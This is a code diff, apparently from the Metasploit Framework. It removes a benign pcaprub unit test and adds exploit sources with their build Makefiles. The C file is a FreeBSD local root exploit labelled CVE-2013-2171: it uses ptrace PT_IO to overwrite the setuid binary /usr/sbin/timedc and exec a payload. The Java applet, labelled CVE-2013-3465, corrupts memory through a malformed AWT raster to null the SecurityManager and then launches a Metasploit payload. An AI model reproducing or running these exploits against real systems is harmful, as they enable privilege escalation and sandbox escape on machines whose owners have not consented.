rb_define_const(rb_cPcap, "AF_CNT", INT2NUM(AF_CNT));
|
||||
#endif
|
||||
#ifdef AF_IPX
|
||||
rb_define_const(rb_cPcap, "AF_IPX", INT2NUM(AF_IPX));
|
||||
#endif
|
||||
#ifdef AF_SIP
|
||||
rb_define_const(rb_cPcap, "AF_SIP", INT2NUM(AF_SIP));
|
||||
#endif
|
||||
#ifdef AF_NDRV
|
||||
rb_define_const(rb_cPcap, "AF_NDRV", INT2NUM(AF_NDRV));
|
||||
#endif
|
||||
#ifdef AF_ISDN
|
||||
rb_define_const(rb_cPcap, "AF_ISDN", INT2NUM(AF_ISDN));
|
||||
#endif
|
||||
#ifdef AF_NATM
|
||||
rb_define_const(rb_cPcap, "AF_NATM", INT2NUM(AF_NATM));
|
||||
#endif
|
||||
#ifdef AF_SYSTEM
|
||||
rb_define_const(rb_cPcap, "AF_SYSTEM", INT2NUM(AF_SYSTEM));
|
||||
#endif
|
||||
#ifdef AF_NETBIOS
|
||||
rb_define_const(rb_cPcap, "AF_NETBIOS", INT2NUM(AF_NETBIOS));
|
||||
#endif
|
||||
#ifdef AF_NETBEUI
|
||||
rb_define_const(rb_cPcap, "AF_NETBEUI", INT2NUM(AF_NETBEUI));
|
||||
#endif
|
||||
#ifdef AF_PPP
|
||||
rb_define_const(rb_cPcap, "AF_PPP", INT2NUM(AF_PPP));
|
||||
#endif
|
||||
#ifdef AF_ATM
|
||||
rb_define_const(rb_cPcap, "AF_ATM", INT2NUM(AF_ATM));
|
||||
#endif
|
||||
#ifdef AF_ATMPVC
|
||||
rb_define_const(rb_cPcap, "AF_ATMPVC", INT2NUM(AF_ATMPVC));
|
||||
#endif
|
||||
#ifdef AF_ATMSVC
|
||||
rb_define_const(rb_cPcap, "AF_ATMSVC", INT2NUM(AF_ATMSVC));
|
||||
#endif
|
||||
#ifdef AF_NETGRAPH
|
||||
rb_define_const(rb_cPcap, "AF_NETGRAPH", INT2NUM(AF_NETGRAPH));
|
||||
#endif
|
||||
#ifdef AF_VOICEVIEW
|
||||
rb_define_const(rb_cPcap, "AF_VOICEVIEW", INT2NUM(AF_VOICEVIEW));
|
||||
#endif
|
||||
#ifdef AF_FIREFOX
|
||||
rb_define_const(rb_cPcap, "AF_FIREFOX", INT2NUM(AF_FIREFOX));
|
||||
#endif
|
||||
#ifdef AF_UNKNOWN1
|
||||
rb_define_const(rb_cPcap, "AF_UNKNOWN1", INT2NUM(AF_UNKNOWN1));
|
||||
#endif
|
||||
#ifdef AF_BAN
|
||||
rb_define_const(rb_cPcap, "AF_BAN", INT2NUM(AF_BAN));
|
||||
#endif
|
||||
#ifdef AF_CLUSTER
|
||||
rb_define_const(rb_cPcap, "AF_CLUSTER", INT2NUM(AF_CLUSTER));
|
||||
#endif
|
||||
#ifdef AF_12844
|
||||
rb_define_const(rb_cPcap, "AF_12844", INT2NUM(AF_12844));
|
||||
#endif
|
||||
#ifdef AF_IRDA
|
||||
rb_define_const(rb_cPcap, "AF_IRDA", INT2NUM(AF_IRDA));
|
||||
#endif
|
||||
#ifdef AF_NETDES
|
||||
rb_define_const(rb_cPcap, "AF_NETDES", INT2NUM(AF_NETDES));
|
||||
#endif
|
||||
#ifdef AF_NETROM
|
||||
rb_define_const(rb_cPcap, "AF_NETROM", INT2NUM(AF_NETROM));
|
||||
#endif
|
||||
#ifdef AF_BRIDGE
|
||||
rb_define_const(rb_cPcap, "AF_BRIDGE", INT2NUM(AF_BRIDGE));
|
||||
#endif
|
||||
#ifdef AF_X25
|
||||
rb_define_const(rb_cPcap, "AF_X25", INT2NUM(AF_X25));
|
||||
#endif
|
||||
#ifdef AF_ROSE
|
||||
rb_define_const(rb_cPcap, "AF_ROSE", INT2NUM(AF_ROSE));
|
||||
#endif
|
||||
#ifdef AF_SECURITY
|
||||
rb_define_const(rb_cPcap, "AF_SECURITY", INT2NUM(AF_SECURITY));
|
||||
#endif
|
||||
#ifdef AF_KEY
|
||||
rb_define_const(rb_cPcap, "AF_KEY", INT2NUM(AF_KEY));
|
||||
#endif
|
||||
#ifdef AF_NETLINK
|
||||
rb_define_const(rb_cPcap, "AF_NETLINK", INT2NUM(AF_NETLINK));
|
||||
#endif
|
||||
#ifdef AF_ASH
|
||||
rb_define_const(rb_cPcap, "AF_ASH", INT2NUM(AF_ASH));
|
||||
#endif
|
||||
#ifdef AF_ECONET
|
||||
rb_define_const(rb_cPcap, "AF_ECONET", INT2NUM(AF_ECONET));
|
||||
#endif
|
||||
#ifdef AF_PPPOX
|
||||
rb_define_const(rb_cPcap, "AF_PPPOX", INT2NUM(AF_PPPOX));
|
||||
#endif
|
||||
#ifdef AF_WANPIPE
|
||||
rb_define_const(rb_cPcap, "AF_WANPIPE", INT2NUM(AF_WANPIPE));
|
||||
#endif
|
||||
#ifdef AF_BLUETOOTH
|
||||
rb_define_const(rb_cPcap, "AF_BLUETOOTH", INT2NUM(AF_BLUETOOTH));
|
||||
#endif
|
||||
|
||||
}
|
|
@ -1,125 +0,0 @@
|
|||
#!/usr/bin/ruby
|
||||
|
||||
base = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
|
||||
$:.unshift(File.join(File.dirname(base)))
|
||||
|
||||
require 'test/unit'
|
||||
require 'pcaprub'
|
||||
|
||||
#
|
||||
# Simple unit test, requires r00t.
|
||||
#
|
||||
|
||||
class Pcap::UnitTest < Test::Unit::TestCase
|
||||
|
||||
def test_version
|
||||
assert_equal(String, Pcap.version.class)
|
||||
puts "Pcaprub version: #{Pcap.version}"
|
||||
end
|
||||
|
||||
def test_lookupdev
|
||||
assert_equal(String, Pcap.lookupdev.class)
|
||||
puts "Pcaprub default device: #{Pcap.lookupdev}"
|
||||
end
|
||||
|
||||
def test_lookupnet
|
||||
dev = Pcap.lookupdev
|
||||
assert_equal(Array, Pcap.lookupnet(dev).class)
|
||||
net = Pcap.lookupnet(dev)
|
||||
puts "Pcaprub net (#{dev}): #{net[0]} #{[net[1]].pack("N").unpack("H*")[0]}"
|
||||
end
|
||||
|
||||
def test_pcap_new
|
||||
o = Pcap.new
|
||||
assert_equal(Pcap, o.class)
|
||||
end
|
||||
|
||||
def test_pcap_setfilter_bad
|
||||
e = nil
|
||||
o = Pcap.new
|
||||
begin
|
||||
o.setfilter("not ip")
|
||||
rescue ::Exception => e
|
||||
end
|
||||
|
||||
assert_equal(e.class, ArgumentError)
|
||||
end
|
||||
|
||||
def test_pcap_setfilter
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 65535, true, 1)
|
||||
r = o.setfilter("not ip")
|
||||
assert_equal(Pcap, r.class)
|
||||
end
|
||||
|
||||
def test_pcap_inject
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 65535, true, 1)
|
||||
r = o.inject("X" * 512)
|
||||
assert_equal(512, r)
|
||||
end
|
||||
|
||||
def test_pcap_datalink
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 65535, true, 1)
|
||||
r = o.datalink
|
||||
assert_equal(Fixnum, r.class)
|
||||
end
|
||||
|
||||
def test_pcap_snapshot
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 1344, true, 1)
|
||||
r = o.snapshot
|
||||
assert_equal(1344, r)
|
||||
end
|
||||
|
||||
def test_pcap_stats
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 1344, true, 1)
|
||||
r = o.stats
|
||||
assert_equal(Hash, r.class)
|
||||
end
|
||||
|
||||
def test_pcap_next
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 1344, true, 1)
|
||||
|
||||
@c = 0
|
||||
t = Thread.new { while(true); @c += 1; select(nil, nil, nil, 0.10); end; }
|
||||
|
||||
require 'timeout'
|
||||
begin
|
||||
Timeout.timeout(10) do
|
||||
o.each do |pkt|
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
|
||||
t.kill
|
||||
puts "Background thread ticked #{@c} times while capture was running"
|
||||
true
|
||||
end
|
||||
|
||||
def test_netifaces_constants
|
||||
puts "AF_LINK Value is #{Pcap::AF_LINK}"
|
||||
puts "AF_INET Value is #{Pcap::AF_INET}"
|
||||
puts "AF_INET6 Value is #{Pcap::AF_INET6}" if Pcap.const_defined?(:AF_INET6)
|
||||
end
|
||||
|
||||
def test_netifaces_functions
|
||||
Pcap.interfaces.sort.each do |iface|
|
||||
puts "#{iface} :"
|
||||
Pcap.addresses(iface).sort.each do |family,values|
|
||||
puts "\t#{family} :"
|
||||
values.each do |val|
|
||||
puts "\t\taddr : #{val['addr']}" if val.has_key?("addr")
|
||||
puts "\t\tnetmask : #{val['netmask']}" if val.has_key?("netmask")
|
||||
puts "\t\tbroadcast : #{val['broadcast']}" if val.has_key?("broadcast")
|
||||
puts "\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,2 @@
|
|||
all: exploit.c
|
||||
gcc exploit.c -o ../../../../data/exploits/CVE-2013-2171.bin
|
|
@ -0,0 +1,54 @@
|
|||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#define TG "/usr/sbin/timedc"
|
||||
|
||||
/*
|
||||
This is based on Hunger's PoC
|
||||
*/
|
||||
int main(int ac, char **av) {
|
||||
int from_fd, to_fd, status;
|
||||
struct stat st;
|
||||
struct ptrace_io_desc piod;
|
||||
char *s, *d;
|
||||
int pid;
|
||||
char *bin = "MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"; // is just a place holder
|
||||
|
||||
if (geteuid() == 0) {
|
||||
setuid(0);
|
||||
execl(bin, bin, NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
from_fd = open(av[0], O_RDONLY);
|
||||
to_fd = open(TG, O_RDONLY);
|
||||
if ( from_fd == -1 || to_fd == -1 ) return 0;
|
||||
if (stat(av[0], &st) == -1) return 0;
|
||||
|
||||
s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0);
|
||||
d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0);
|
||||
|
||||
if (s == MAP_FAILED || d == MAP_FAILED) return 0;
|
||||
if ((pid = fork()) == -1) return 0;
|
||||
if (!pid) {
|
||||
if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) return 0;
|
||||
}
|
||||
|
||||
if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) return 0;
|
||||
if (wait(&status) == -1) return 0;
|
||||
|
||||
piod.piod_op = PIOD_WRITE_D;
|
||||
piod.piod_offs = d;
|
||||
piod.piod_addr = s;
|
||||
piod.piod_len = st.st_size;
|
||||
|
||||
if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) return 0;
|
||||
execl(TG, TG, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,197 @@
|
|||
import java.awt.image.*;
|
||||
import java.awt.color.*;
|
||||
import java.beans.Statement;
|
||||
import java.security.*;
|
||||
import metasploit.Payload;
|
||||
import java.applet.Applet;
|
||||
|
||||
public class Exploit extends Applet {
|
||||
|
||||
public void init() {
|
||||
|
||||
try {
|
||||
|
||||
// try several attempts to exploit
|
||||
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
|
||||
//System.out.println("Attempt #" + i);
|
||||
tryExpl();
|
||||
}
|
||||
|
||||
// check results
|
||||
if (System.getSecurityManager() == null) {
|
||||
// execute payload
|
||||
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
|
||||
Payload.main(null);
|
||||
}
|
||||
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static String toHex(int i)
|
||||
{
|
||||
return Integer.toHexString(i);
|
||||
}
|
||||
|
||||
private boolean _is64 = System.getProperty("os.arch","").contains("64");
|
||||
|
||||
// we will need ColorSpace which returns 1 from getNumComponents()
|
||||
class MyColorSpace extends ICC_ColorSpace
|
||||
{
|
||||
public MyColorSpace()
|
||||
{
|
||||
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
|
||||
}
|
||||
|
||||
// override getNumComponents
|
||||
public int getNumComponents()
|
||||
{
|
||||
int res = 1;
|
||||
return res;
|
||||
}
|
||||
}
|
||||
|
||||
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
|
||||
class MyColorModel extends ComponentColorModel
|
||||
{
|
||||
public MyColorModel()
|
||||
{
|
||||
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
|
||||
}
|
||||
|
||||
// override isCompatibleRaster
|
||||
public boolean isCompatibleRaster(Raster r)
|
||||
{
|
||||
boolean res = true;
|
||||
return res;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private int tryExpl()
|
||||
{
|
||||
try {
|
||||
// alloc aux vars
|
||||
String name = "setSecurityManager";
|
||||
Object[] o1 = new Object[1];
|
||||
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
|
||||
|
||||
// allocate byte buffer for destination Raster.
|
||||
DataBufferByte dst = new DataBufferByte(16);
|
||||
|
||||
// allocate the target array right after dst
|
||||
int[] a = new int[8];
|
||||
// allocate an object array right after a[]
|
||||
Object[] oo = new Object[7];
|
||||
|
||||
// create Statement with the restricted AccessControlContext
|
||||
oo[2] = new Statement(System.class, name, o1);
|
||||
|
||||
// create powerful AccessControlContext
|
||||
Permissions ps = new Permissions();
|
||||
ps.add(new AllPermission());
|
||||
oo[3] = new AccessControlContext(
|
||||
new ProtectionDomain[]{
|
||||
new ProtectionDomain(
|
||||
new CodeSource(
|
||||
new java.net.URL("file:///"),
|
||||
new java.security.cert.Certificate[0]
|
||||
),
|
||||
ps
|
||||
)
|
||||
}
|
||||
);
|
||||
|
||||
// store System.class pointer in oo[]
|
||||
oo[4] = ((Statement)oo[2]).getTarget();
|
||||
|
||||
// save old a.length
|
||||
int oldLen = a.length;
|
||||
//System.out.println("a.length = 0x" + toHex(oldLen));
|
||||
|
||||
// create regular source image
|
||||
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
|
||||
|
||||
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
|
||||
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
|
||||
// create malformed destination image based on dst[] data
|
||||
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
|
||||
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
|
||||
|
||||
// prepare first pixel which will overwrite a.length
|
||||
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
|
||||
|
||||
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
|
||||
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
|
||||
op.filter(bi1, bi2);
|
||||
|
||||
// check results: a.length should be overwritten by 0xFFFFFFFF
|
||||
int len = a.length;
|
||||
//System.out.println("a.length = 0x" + toHex(len));
|
||||
if (len == oldLen) {
|
||||
// check a[] content corruption // for RnD
|
||||
for(int i=0; i < len; i++) {
|
||||
if (a[i] != 0) {
|
||||
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
|
||||
}
|
||||
}
|
||||
// exit
|
||||
//System.out.println("error 1");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// ok, now we can read/write outside the real a[] storage,
|
||||
// lets find our Statement object and replace its private "acc" field value
|
||||
|
||||
// search for oo[] after a[oldLen]
|
||||
boolean found = false;
|
||||
int ooLen = oo.length;
|
||||
for(int i=oldLen+2; i < oldLen+32; i++)
|
||||
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
|
||||
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
|
||||
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
|
||||
{
|
||||
// read pointer from oo[4]
|
||||
int stmTrg = a[i+4];
|
||||
// search for the Statement.target field behind oo[]
|
||||
for(int j=i+7; j < i+7+64; j++){
|
||||
if (a[j] == stmTrg) {
|
||||
// overwrite default Statement.acc by oo[3] ("AllPermission")
|
||||
a[j-1] = a[i+3];
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found) break;
|
||||
}
|
||||
|
||||
// check results
|
||||
if (!found) {
|
||||
// print the memory dump on error // for RnD
|
||||
String s = "a["+oldLen+"...] = ";
|
||||
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
|
||||
//System.out.println(s);
|
||||
} else try {
|
||||
|
||||
// call System.setSecurityManager(null)
|
||||
((Statement)oo[2]).execute();
|
||||
|
||||
// show results: SecurityManager should be null
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
|
||||
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
|
||||
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
CLASSES = Exploit.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv *.class ../../../../data/exploits/CVE-2013-3465/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue